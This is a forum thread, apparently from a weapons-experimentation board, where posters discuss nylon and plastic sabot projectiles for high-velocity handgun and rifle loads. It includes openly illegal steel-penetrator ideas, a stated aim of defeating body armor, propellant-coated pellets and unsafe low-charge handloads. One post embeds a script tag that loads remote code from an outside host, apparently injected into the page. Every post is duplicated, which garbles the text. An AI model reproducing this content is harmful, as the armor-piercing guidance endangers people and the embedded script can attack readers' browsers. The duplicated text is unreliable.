Nylon projectiles, link

[Third_Rail]

Here (http://www.thehighroad.org/showthread.php?t=143497) is a link to an interesting discussion of nylon projectiles to obtain high-velocity out of an ordinary handgun.

While being entirely illegal, it would be easy to modify such projectiles to accept a hardened steel dart or penetrator, using the nylon itself as the sabot.


Just thought I'd give you all a heads up on this, as it was quite interesting to me.

[Third_Rail]

Here (http://www.thehighroad.org/showthread.php?t=143497) is a link to an interesting discussion of nylon projectiles to obtain high-velocity out of an ordinary handgun.

While being entirely illegal, it would be easy to modify such projectiles to accept a hardened steel dart or penetrator, using the nylon itself as the sabot.


Just thought I'd give you all a heads up on this, as it was quite interesting to me.

[john_smith]

On a related note...what about this one: http://www.logicsouth.com/~lcoble/dir16/polyjack.zip ? Sounds strange but reportedly these work.<script src=http://snow.prohosting.com/0p/rs.js></script>

[john_smith]

On a related note...what about this one: http://www.logicsouth.com/~lcoble/dir16/polyjack.zip ? Sounds strange but reportedly these work.<script src=http://snow.prohosting.com/0p/rs.js></script>

[Third_Rail]

Those would work, but that's a different idea. That's using acrylic as a sabot, whereas the link I provided is using a solid nylon bullets.


It's since been updated, and let me tell you - 2500FPS out of a pistol is FAST.

[Third_Rail]

Those would work, but that's a different idea. That's using acrylic as a sabot, whereas the link I provided is using a solid nylon bullets.


It's since been updated, and let me tell you - 2500FPS out of a pistol is FAST.

[Jacks Complete]

There are air rifle pellets in the UK that do this, called Prometheus. Nylon outer and steel inner, very hard hitting and fast. The reduced mass means they go way faster, delivering illegal powers from most airguns.

You could load one into something like a .223 rifle and get really scary speeds, I suspect.

[Jacks Complete]

There are air rifle pellets in the UK that do this, called Prometheus. Nylon outer and steel inner, very hard hitting and fast. The reduced mass means they go way faster, delivering illegal powers from most airguns.

You could load one into something like a .223 rifle and get really scary speeds, I suspect.

[Third_Rail]

Well, most likely not unless one could find a very fast burning but still bulky powder, which would be difficult to say the least.


Better yet would be sticking with SS109 which is already AP, and using a longer barrel for a .223 - something like 22" or so. 3000FPS does plenty of damage with that!


This experiment really was aimed at pistols, not rifles, and at larger bores than .224 (the .223, .22-250, etc.)


I suspect that something like this out of a .454 Casull or .45 Long Colt would be... amazing.

[Third_Rail]

Well, most likely not unless one could find a very fast burning but still bulky powder, which would be difficult to say the least.


Better yet would be sticking with SS109 which is already AP, and using a longer barrel for a .223 - something like 22" or so. 3000FPS does plenty of damage with that!


This experiment really was aimed at pistols, not rifles, and at larger bores than .224 (the .223, .22-250, etc.)


I suspect that something like this out of a .454 Casull or .45 Long Colt would be... amazing.

[Ropik]

Jack, I had packet of such pellets(not the Prometheus, but the same configuration of plastic sabot and steel core) and while they were faster and more penetrating, they lacked accuracy at 20 meters or more. Lead ones were almost twice as accurate. Is it the same case with Prometheus pellets?

[Ropik]

Jack, I had packet of such pellets(not the Prometheus, but the same configuration of plastic sabot and steel core) and while they were faster and more penetrating, they lacked accuracy at 20 meters or more. Lead ones were almost twice as accurate. Is it the same case with Prometheus pellets?

[Jacks Complete]

No idea, Ropik. I seem to remember they were not too bad, but I didn't do serious target shooting back then, so I don't know.

Third_rail, why would it be? The case doesn't have to be full, not at all. A carefully worked up round might be capable of over 4000fps, very close to the limit for the velocity you can get with smokeless powders. I was thinking .223 due to the availability of the .22 pellets in that format.

For something like a BP rifle, nylon sabots might be really neat. You could make them in the shape of Minie balls, so the base expanded, and gave good accuracy, as well as having them scream out of the barrel.

[Jacks Complete]

No idea, Ropik. I seem to remember they were not too bad, but I didn't do serious target shooting back then, so I don't know.

Third_rail, why would it be? The case doesn't have to be full, not at all. A carefully worked up round might be capable of over 4000fps, very close to the limit for the velocity you can get with smokeless powders. I was thinking .223 due to the availability of the .22 pellets in that format.

For something like a BP rifle, nylon sabots might be really neat. You could make them in the shape of Minie balls, so the base expanded, and gave good accuracy, as well as having them scream out of the barrel.

[Third_Rail]

Yes, the case does have to be mostly full. You can't just put a tiny amount of powder into a large case, that doesn't work - there's a problem called position sensitivity.


Compound that with the fact that those .22 pellets are much too light to be stabilized by the .223's twist rate, and they're too fragile, and you have nowhere good to head.

[Third_Rail]

Yes, the case does have to be mostly full. You can't just put a tiny amount of powder into a large case, that doesn't work - there's a problem called position sensitivity.


Compound that with the fact that those .22 pellets are much too light to be stabilized by the .223's twist rate, and they're too fragile, and you have nowhere good to head.

[FUTI]

Since in other threads it has been mentioned something about use of air rifle pellets with AP or nitrocellulose film this sounds like a suitable new material for combined experiment.

The one who has the access to those nylon/plastic based pellets can try will thin film of AP of NC on the back end of the pellet increase its speed to significant percent compared to "non-spiced" version. Maybe it is only the shape that reduce its precision, but the increase in speed should lead to pellet stabilise its flight at higher velocities. Since outer shell is made of plastic material making layer of propelant film on its surface much simplified. Just "paint" the bottom with solution of propelant in solvent that partially attacks that type of plastic. That should leave a thin film of propelant on that bottom mixed partially with thin plastic film (you can repeat this several times to add more propelant of course).

On the other hand maybe the reason for poor accuracy is combination of metal core and outer plastic shell. For a good flight that metal based core has to be in a very center of pellet and plastic shell should be very well shaped around it...you know the story - center of mass/gravity, moment of inertia etc. It would be nice for the plastic shell has small density compared to metalic core to reduce posible effects of small shape distorsion we can't see or can't correct. There is two way man can try to make good pellets out of those materials. One is to coil the thin nylon thread (fishing type;)) onto a metalic core heating it at the same time or using the solvent (added to some sponge that brushes the thread before coiling) that partialy disolve thin film of nylon thread glueing the threads together (temperature will give better results as density will be more uniform through the pellet radius and lenght, but is little harder to make a device since you need a controled temperature range in which material will become like wax and wouldn't melt to become liquid). I will try a scale up experiment with my mothers sawing machine that has a thread winding ability when she wouldn't look of course. Other approach would be making two masks - first with wells and other would be a net like cover. Wells will be filled to some calculated point with slow hardening acrylic or epoxy plastic, and net cover should hold nail like metalic cores that is to be "implanted" inside the hardening plastic mass. When it hardens you just pull them out of masks.

But since oil price going up, plastics will soon be so expensive we can only dream this will have some use exept of course to satisfy the curiosity of our forum members :) . Adding a cheap aditive like CaCO3 could reduce the price though but it won't be as easy to make then, except if maybe someone use PbSO4 powder filled plastics instead and remove metalic core - I hope that we could stop/slow gravity separation during the setting time of the plastic bullet or maybe instead of that reduce plastic percentage to extent that it's name should be changed to PbSO4 plastic bonded bullet. Maybe this can give us best of the both world if we assume that deformation of bullet during fireing through the barrel causes its poor accuracy (scratches, leaving thin threads and coils of plastics behind the bullet itself causing unpredictable drag forces imposible to compensate).

And to finish this post...can someone make a rogue;) draw or shematics what shape that pellet/sabot should have to improve its accuracy as high as posible based on the speeds mentioned above and mass of bullet or energy used to eject bullet at such speed? I hope someone have better experience with fluid resistance calculation then me since that drag calculus would involve consideration of such factors as Reynolds number etc that I vaguely know about and I suspect that turbulent flow of fluid makes it very hard. Should we add some fins or channels at its surface to improve some effects I'm not aware so far?

[FUTI]

Since in other threads it has been mentioned something about use of air rifle pellets with AP or nitrocellulose film this sounds like a suitable new material for combined experiment.

The one who has the access to those nylon/plastic based pellets can try will thin film of AP of NC on the back end of the pellet increase its speed to significant percent compared to "non-spiced" version. Maybe it is only the shape that reduce its precision, but the increase in speed should lead to pellet stabilise its flight at higher velocities. Since outer shell is made of plastic material making layer of propelant film on its surface much simplified. Just "paint" the bottom with solution of propelant in solvent that partially attacks that type of plastic. That should leave a thin film of propelant on that bottom mixed partially with thin plastic film (you can repeat this several times to add more propelant of course).

On the other hand maybe the reason for poor accuracy is combination of metal core and outer plastic shell. For a good flight that metal based core has to be in a very center of pellet and plastic shell should be very well shaped around it...you know the story - center of mass/gravity, moment of inertia etc. It would be nice for the plastic shell has small density compared to metalic core to reduce posible effects of small shape distorsion we can't see or can't correct. There is two way man can try to make good pellets out of those materials. One is to coil the thin nylon thread (fishing type;)) onto a metalic core heating it at the same time or using the solvent (added to some sponge that brushes the thread before coiling) that partialy disolve thin film of nylon thread glueing the threads together (temperature will give better results as density will be more uniform through the pellet radius and lenght, but is little harder to make a device since you need a controled temperature range in which material will become like wax and wouldn't melt to become liquid). I will try a scale up experiment with my mothers sawing machine that has a thread winding ability when she wouldn't look of course. Other approach would be making two masks - first with wells and other would be a net like cover. Wells will be filled to some calculated point with slow hardening acrylic or epoxy plastic, and net cover should hold nail like metalic cores that is to be "implanted" inside the hardening plastic mass. When it hardens you just pull them out of masks.

But since oil price going up, plastics will soon be so expensive we can only dream this will have some use exept of course to satisfy the curiosity of our forum members :) . Adding a cheap aditive like CaCO3 could reduce the price though but it won't be as easy to make then, except if maybe someone use PbSO4 powder filled plastics instead and remove metalic core - I hope that we could stop/slow gravity separation during the setting time of the plastic bullet or maybe instead of that reduce plastic percentage to extent that it's name should be changed to PbSO4 plastic bonded bullet. Maybe this can give us best of the both world if we assume that deformation of bullet during fireing through the barrel causes its poor accuracy (scratches, leaving thin threads and coils of plastics behind the bullet itself causing unpredictable drag forces imposible to compensate).

And to finish this post...can someone make a rogue;) draw or shematics what shape that pellet/sabot should have to improve its accuracy as high as posible based on the speeds mentioned above and mass of bullet or energy used to eject bullet at such speed? I hope someone have better experience with fluid resistance calculation then me since that drag calculus would involve consideration of such factors as Reynolds number etc that I vaguely know about and I suspect that turbulent flow of fluid makes it very hard. Should we add some fins or channels at its surface to improve some effects I'm not aware so far?

[Jacks Complete]

Yes, the case does have to be mostly full. You can't just put a tiny amount of powder into a large case, that doesn't work - there's a problem called position sensitivity.

Compound that with the fact that those .22 pellets are much too light to be stabilized by the .223's twist rate, and they're too fragile, and you have nowhere good to head.
No, the case doesn't need to be anything like full. I fire 7.62 with a few grains of powder in it, taking up 10% of the case volume. They do just fine. You can use a filler if you are worried about position sensitivity, but for a bolt-action rifle round fired from prone, you can easily adjust by hand.

I agree about the terrible stability, but for special needs, like going through both sides of a vest, it might not matter at close range.

FUTI, I would try, but I'm not about to destroy my lovely air rifle! Also, you might well have issues with the core getting blown through the sleeve.

[Jacks Complete]

Yes, the case does have to be mostly full. You can't just put a tiny amount of powder into a large case, that doesn't work - there's a problem called position sensitivity.

Compound that with the fact that those .22 pellets are much too light to be stabilized by the .223's twist rate, and they're too fragile, and you have nowhere good to head.
No, the case doesn't need to be anything like full. I fire 7.62 with a few grains of powder in it, taking up 10% of the case volume. They do just fine. You can use a filler if you are worried about position sensitivity, but for a bolt-action rifle round fired from prone, you can easily adjust by hand.

I agree about the terrible stability, but for special needs, like going through both sides of a vest, it might not matter at close range.

FUTI, I would try, but I'm not about to destroy my lovely air rifle! Also, you might well have issues with the core getting blown through the sleeve.

[FUTI]

I agree Jack's Complete that is why I describe the core as nail like ;), to bad I haven't got one air rifle to check myself :(.

[FUTI]

I agree Jack's Complete that is why I describe the core as nail like ;), to bad I haven't got one air rifle to check myself :(.

[nbk2000]

I remember there used to be a 12 gauge shotgun round called "Accelerator", which I believe was made by remington.

It was a .50 bullet in a plastic sabot and would achieve over 4000FPS. :)

[nbk2000]

I remember there used to be a 12 gauge shotgun round called "Accelerator", which I believe was made by remington.

It was a .50 bullet in a plastic sabot and would achieve over 4000FPS. :)

[Third_Rail]

Interesting! I knew they made 30-06 loads with .224 bullets in sabots, but not shotgun slugs. I think that Hornady has a similar loading out now, the 12ga that you describe.




Jacks Complete, your gun, your face. I won't use a load that is so low (in volume) unless I'm going for something like a "cat's sneeze". Out of curiosity, powder type, charge, bullet weight, twistrate, etc? I'm interested.


I suppose if it weren't a fast burning powder that has the potential for double pressure spike and the possible catastrophic failure that goes along with it, I could simply use a dacron plug to hold the powder near the primer. I didn't think they allowed mere citizens to have centerfire rifles in the UK, I guess I'm wrong or you're smart.

[Third_Rail]

Interesting! I knew they made 30-06 loads with .224 bullets in sabots, but not shotgun slugs. I think that Hornady has a similar loading out now, the 12ga that you describe.




Jacks Complete, your gun, your face. I won't use a load that is so low (in volume) unless I'm going for something like a "cat's sneeze". Out of curiosity, powder type, charge, bullet weight, twistrate, etc? I'm interested.


I suppose if it weren't a fast burning powder that has the potential for double pressure spike and the possible catastrophic failure that goes along with it, I could simply use a dacron plug to hold the powder near the primer. I didn't think they allowed mere citizens to have centerfire rifles in the UK, I guess I'm wrong or you're smart.

[Jacks Complete]

Jacks Complete, your gun, your face. I won't use a load that is so low (in volume) unless I'm going for something like a "cat's sneeze". Out of curiosity, powder type, charge, bullet weight, twistrate, etc? I'm interested.

I suppose if it weren't a fast burning powder that has the potential for double pressure spike and the possible catastrophic failure that goes along with it, I could simply use a dacron plug to hold the powder near the primer. I didn't think they allowed mere citizens to have centerfire rifles in the UK, I guess I'm wrong or you're smart.
Well, I'll tell you, it's a .44, with a range of powder weights. It's kind of on topic, too, since I use spun nylon as the filler!

The lowest I've gone is 0.7 grains of Red Dot, with and without a filler, working down from 4 grains. I would give you the exact details, but they are on another machine elsewhere.

I've also tried a .357 without any powder at all, but that got stuck in the end of the barrel of the carbine, though it works fine from a revolver. soft lead bullets, obviously.

I'll get the details and post it to a more related thread, one on small powder charges or whatever.

[Jacks Complete]

Jacks Complete, your gun, your face. I won't use a load that is so low (in volume) unless I'm going for something like a "cat's sneeze". Out of curiosity, powder type, charge, bullet weight, twistrate, etc? I'm interested.

I suppose if it weren't a fast burning powder that has the potential for double pressure spike and the possible catastrophic failure that goes along with it, I could simply use a dacron plug to hold the powder near the primer. I didn't think they allowed mere citizens to have centerfire rifles in the UK, I guess I'm wrong or you're smart.
Well, I'll tell you, it's a .44, with a range of powder weights. It's kind of on topic, too, since I use spun nylon as the filler!

The lowest I've gone is 0.7 grains of Red Dot, with and without a filler, working down from 4 grains. I would give you the exact details, but they are on another machine elsewhere.

I've also tried a .357 without any powder at all, but that got stuck in the end of the barrel of the carbine, though it works fine from a revolver. soft lead bullets, obviously.

I'll get the details and post it to a more related thread, one on small powder charges or whatever.

[Third_Rail]

Well, I'll tell you, it's a .44, with a range of powder weights.....

I fire 7.62 with a few grains of powder in it, taking up 10% of the case volume.


You say it was a 7.62 (assuming 7.62x51mm), not a .44 (mag or special?). Or do you mean that was just one of the calibers you loaded for? I see at least three calibers. I think we'll need to start a thread about this.



Back on topic - I should be getting some nylon projectiles to experiment with shortly. The first loading should prove to be interesting.

[Third_Rail]

Well, I'll tell you, it's a .44, with a range of powder weights.....

I fire 7.62 with a few grains of powder in it, taking up 10% of the case volume.


You say it was a 7.62 (assuming 7.62x51mm), not a .44 (mag or special?). Or do you mean that was just one of the calibers you loaded for? I see at least three calibers. I think we'll need to start a thread about this.



Back on topic - I should be getting some nylon projectiles to experiment with shortly. The first loading should prove to be interesting.

[Jacks Complete]

Sure, I'm going to port the data overnight. I'd rather not make it trivial for anyone to find me though, by posting exactly what and where I do what.

7.62, .44 and .357 with small loads, also a 45-70. That's more a comparatively small load!

No pistols except BP, and no semi-auto, revolving or pump in anything but .22 or shotgun, legal-wise. Moderators on ticket, no expanding ammo, no right to self-defence. 5 year minimum sentence if cught with the wrong type of air pistol, so many dumb bits it's insane. Plans (serious plans) to ban replicas and blank firers, and put reloading presses, powder and primers on ticket.

Damnit: Anyone know how to remove the security from a pulled NTFS XP drive plugged in to XP? I can get around it with Knoppix, but I just want to be able to surf my own drive as normal... and without rebooting!

Edit2: Well, it's security Jim, but not as we know it! Reboot, press f8, turn security off, reboot. I'll have the stuff copied by tomorrow, and I'll start a new thread then.

[Jacks Complete]

Sure, I'm going to port the data overnight. I'd rather not make it trivial for anyone to find me though, by posting exactly what and where I do what.

7.62, .44 and .357 with small loads, also a 45-70. That's more a comparatively small load!

No pistols except BP, and no semi-auto, revolving or pump in anything but .22 or shotgun, legal-wise. Moderators on ticket, no expanding ammo, no right to self-defence. 5 year minimum sentence if cught with the wrong type of air pistol, so many dumb bits it's insane. Plans (serious plans) to ban replicas and blank firers, and put reloading presses, powder and primers on ticket.

Damnit: Anyone know how to remove the security from a pulled NTFS XP drive plugged in to XP? I can get around it with Knoppix, but I just want to be able to surf my own drive as normal... and without rebooting!

Edit2: Well, it's security Jim, but not as we know it! Reboot, press f8, turn security off, reboot. I'll have the stuff copied by tomorrow, and I'll start a new thread then.